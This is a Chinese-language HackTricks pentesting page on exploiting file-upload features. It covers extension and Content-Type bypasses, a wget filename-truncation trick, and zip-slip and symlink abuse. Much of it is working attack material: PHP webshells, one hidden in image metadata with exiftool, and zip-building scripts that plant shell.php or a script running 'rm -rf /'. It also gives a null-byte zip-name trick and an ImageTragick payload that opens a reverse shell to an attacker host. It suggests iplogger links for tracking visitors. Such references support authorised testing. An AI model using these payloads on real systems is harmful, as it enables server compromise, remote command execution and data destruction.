hacktricks/pentesting-web/file-upload.md

302 lines
20 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFT收藏品The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
</details>
# 文件上传通用方法论
1. 尝试使用**双重扩展名**上传文件例如_file.png.php_ 或 _file.png.php5_)。
* PHP扩展名_.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, ._phps_, ._pht_, _.phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc_
* ASP扩展名_.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml_
2. 尝试将扩展名的**某些字母大写**例如_.pHp, .pHP5, .PhAr ..._
3. 尝试上传一些**双重(或更多)扩展名**(用于绕过检查是否存在特定扩展名的错误配置检查):
1. _file.png.php_
2. _file.png.txt.php_
4. 尝试上传一些**反向双重扩展名**用于利用Apache错误配置其中任何具有_.php_扩展名的文件但**不一定以.php结尾**,都将执行代码):
* 例如file.php.png
5. 使用**空字符的双重扩展名**
1. 例如file.php%00.png
6. 在扩展名的末尾**添加一些特殊字符**_0020多个点...._
1. _file.php%00_
2. _file.php%20_
3. _file.php...... --&gt; 在Windows中如果文件以点结尾创建这些点将被删除因此可以绕过检查扩展名为.php的过滤器
4. _file.php/_
5. _file.php.\_
7. 通过将**Content-Type** **header**的**value**设置为_image/png__text/plain__application/octet-stream_绕过Content-Type检查。
8. 通过在文件开头添加**真实图像的字节**混淆_file_命令来绕过魔术数字检查。或者在**元数据**中引入shell`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`
1. 也有可能只是在文件中**检查**魔术字节,并且您可以在文件的**任何位置**设置它们。
9. 在**Windows**中使用**NTFS备用数据流ADS**。在这种情况下,禁止扩展名后面会插入冒号字符“:”,然后是允许的扩展名。结果,在服务器上将创建一个带有禁止扩展名的**空文件**例如“file.asax:.jpg”。稍后可以使用其他技术例如使用其短文件名编辑此文件。还可以使用“**::$data**”模式创建非空文件。因此在此模式后面添加一个点字符也可能有助于绕过进一步的限制例如“file.asp::$data.”)。
10. 使用**允许的扩展名**_png_上传后门并祈祷发生**配置错误**以执行后门。
11. 查找**重命名**已上传的文件的漏洞(以更改扩展名)。
12. 查找**本地文件包含**漏洞以执行后门。
13. **可能的信息泄露**
1. **多次**(并且**同时**)上传**相同的文件****相同的名称**
2. 上传一个**已存在的文件**或**文件夹**的名称的文件
3. 上传一个文件,其名称为**“.”、“..”或“…”**。例如,在**Windows**的Apache中如果应用程序将上传的文件保存在“/www/uploads/”目录中,那么“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
4. 在**NTFS**中上传一个可能不容易删除的文件,例如**“…:.jpg”**。 Windows
5. 在**Windows**中上传一个名称中包含**无效字符**,例如`|<>*?”`。 Windows
6. 在**Windows**中上传一个使用**保留****禁止****名称**例如CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8和LPT9的文件。
还可以尝试上传一个可执行文件(.exe或一个较不可疑的.html文件在被受害者意外打开时将执行代码
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files" %}
如果您正在尝试将文件上传到**PHP服务器**,请查看[**.htaccess**技巧以执行代码](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。
如果您正在尝试将文件上传到**ASP服务器**,请查看[**.config**技巧以执行代码](../pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
`.phar`文件类似于Java的`.jar`文件但用于PHP并且可以像PHP文件一样使用使用php执行它或在脚本中包含它...
`.inc`扩展名有时用于仅用于导入文件的PHP文件因此在某些情况下某人可能已经允许执行此扩展名。
使用BurpSuit插件[https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)检查许多可能的文件上传漏洞,或使用一个控制台应用程序找出可以上传的文件并尝试不同的技巧来执行代码:[https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
## wget文件上传/SSRF技巧
在某些情况下,您可能会发现服务器正在使用`wget`来下载文件并且您可以指定URL。在这些情况下代码可能会检查下载文件的扩展名是否在白名单中以确保只有允许的文件才能下载。然而这个检查可以被绕过。
在Linux中文件名的最大长度为255个字符但是`wget`将文件名截断为236个字符。您可以下载一个名为"A"\*232+".php"+".gif"的文件,这个文件名将绕过检查(在这个例子中,".gif"是一个有效的扩展名),但是`wget`将把文件重命名为"A"\*232+".php"。
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
请注意,你可能会考虑的**另一种选择**是绕过此检查的方法是使**HTTP服务器重定向到另一个文件**这样初始URL将通过检查然后wget将使用新名称下载重定向的文件。这**不起作用****除非**wget与参数`--trust-server-names`一起使用,因为**wget将使用原始URL中指定的文件名下载重定向的页面**。
# 从文件上传到其他漏洞
* 将**文件名**设置为`../../../tmp/lol.png`,尝试实现**路径遍历**
* 将**文件名**设置为`sleep(10)-- -.jpg`,可能能够实现**SQL注入**
* 将**文件名**设置为`<svg onload=alert(document.comain)>`实现XSS
* 将**文件名**设置为`; sleep 10;`,测试一些命令注入(更多[命令注入技巧在这里](command-injection.md)
* [图像svg文件上传中的**XSS**](xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS**文件**上传** + **XSS** = [**Service Workers**利用](xss-cross-site-scripting/#xss-abusing-service-workers)
* [svg上传中的**XXE**](xxe-xee-xml-external-entity.md#svg-file-upload)
* [通过上传svg文件实现**开放重定向**](open-redirect.md#open-redirect-uploading-svg-files)
* [著名的**ImageTrick**漏洞](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* 如果你可以**指示Web服务器从URL中获取图像**,你可以尝试滥用[SSRF](ssrf-server-side-request-forgery.md)。如果这个**图像**将要被**保存**在某个**公共**站点上,你还可以指定一个来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL并**窃取每个访问者的信息**。
以下是通过上传文件可以实现的前10项功能列表来自[链接](https://twitter.com/SalahHasoneh1/status/1281274120395685889)
1. **ASP / ASPX / PHP5 / PHP / PHP3**Webshell / RCE
2. **SVG**存储型XSS / SSRF / XXE
3. **GIF**存储型XSS / SSRF
4. **CSV**CSV注入
5. **XML**XXE
6. **AVI**LFI / SSRF
7. **HTML / JS**HTML注入 / XSS / 开放重定向
8. **PNG / JPEG**像素洪水攻击DoS
9. **ZIP**通过LFI实现RCE / DoS
10. **PDF / PPTX**SSRF / 盲XXE
# 自动解压缩上传的ZIP文件
如果你可以上传一个将在服务器内部解压缩的ZIP文件你可以做两件事
## 符号链接
上传一个包含指向其他文件的软链接的文件,然后访问解压缩的文件时,你将访问到链接的文件:
```text
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
```
## 在不同的文件夹中解压缩
解压缩的文件将会被创建在意料之外的文件夹中。
有人可能会认为这种设置可以防止通过恶意文件上传进行操作系统级别的命令执行但不幸的是这是不正确的。由于ZIP存档格式支持分层压缩并且我们还可以引用更高级别的目录因此我们可以通过滥用目标应用程序的解压缩功能来逃离安全上传目录。
可以在这里找到一个自动化利用程序来创建这种类型的文件:[https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc)
```python
python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
以下是创建恶意zip文件的Python代码示例
```python
import zipfile
def create_malicious_zip(file_path, content):
with zipfile.ZipFile(file_path, 'w') as zip_file:
zip_file.writestr('../malicious_script.py', content)
# Usage example
malicious_content = '''
import os
os.system('rm -rf /')
'''
create_malicious_zip('malicious.zip', malicious_content)
```
上述代码演示了如何使用Python创建一个恶意的zip文件。在这个示例中我们使用`zipfile`模块创建了一个zip文件并将恶意脚本内容写入其中。恶意脚本会尝试删除系统中的所有文件。
使用示例中的`create_malicious_zip`函数您可以根据需要自定义恶意zip文件的内容和文件路径。请注意此代码仅用于教育和研究目的严禁在未经授权的系统上使用。
```python
#!/usr/bin/python
import zipfile
from cStringIO import StringIO
def create_zip():
f = StringIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
```
为了实现远程命令执行,我采取了以下步骤:
1. 创建一个PHP shell
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
2. 使用“文件喷洒”技术创建一个压缩的zip文件
```text
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
```
3.使用十六进制编辑器或vi将“xxA”更改为“../”我使用了vi
```text
:set modifiable
:%s/xxA/..\//g
:x!
```
只剩下一步了上传ZIP文件并让应用程序解压缩它如果成功并且Web服务器具有足够的权限来写入目录系统上将会有一个简单的操作系统命令执行shell
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
**参考**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
## 使用不同的名称解压缩
有时候应用程序会通过检查zip文件中的扩展名来阻止文件的加载。如果这种验证是肤浅的即通过检查本地字段头中文件的名称来进行那么可以通过让应用程序相信文件具有某个扩展名而实际上在解压缩后它将具有另一个扩展名来绕过此限制。
我们可以重用之前的脚本来创建一个zip文件。
```python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
```
请注意名称中间有一个空格。现在您可以使用十六进制编辑器编辑生成的zip文件并将位于中央目录头部的字段名称中的此字符更改为空字节`00`
```bash
# before changing the name of the file inside the Central Directory header
00000080: 0000 0073 6865 6c6c 2e70 6870 202e 7064 ...shell.php .pd
# after changing the name of the file inside the Central Directory header
00000080: 0000 0073 6865 6c6c 2e70 6870 002e 7064 ...shell.php..pd
```
当应用程序检查zip文件中的文件名时用于此检查的名称将是本地文件头的名称但如果zip文件被加密则不是这样请参阅pkzip规范。当7z或unzip在两个名称之间看到差异时用于存储文件的名称将是中央目录头的名称。由于空字节的存在名称将是`shell.php`。
解压后:
```bash
7z e poc.zip
ls
shell.php
```
**参考资料**
[https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html](https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html)
[https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
# ImageTragic
将此内容使用图像扩展名上传以利用漏洞 **\(ImageMagick , 7.0.1-1\)**
```text
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
# 在 PNG 图像中嵌入 PHP Shell
将 Web Shell 放在 IDAT 块中的主要原因是它能够绕过调整大小和重新采样操作 - PHP-GD 包含两个函数来实现这一点 [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) 和 [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php)。
阅读此文章:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
# 多语言文件
在安全上下文中,多语言文件是一种同时是多种不同文件类型的有效形式的文件。例如,[GIFAR](https://en.wikipedia.org/wiki/Gifar) 既是 GIF 文件又是 RAR 文件。还有一些文件可以同时是 GIF 和 JSPPT 和 JS 等。
多语言文件通常用于绕过基于文件类型的保护。许多允许用户上传文件的应用程序只允许上传特定类型的文件,例如 JPEG、GIF、DOC以防止用户上传可能危险的文件如 JS 文件、PHP 文件或 Phar 文件。
这有助于上传一个符合多种不同格式的文件。它可以允许你上传一个 PHAR 文件PHp ARchive它看起来也像一个 JPEG但如果上传函数不允许它这对你没有帮助。
更多信息请参考:[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **为你的公司做广告** 吗?或者你想要访问 **PEASS 的最新版本或下载 PDF 格式的 HackTricks** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)。
- 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)。
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
</details>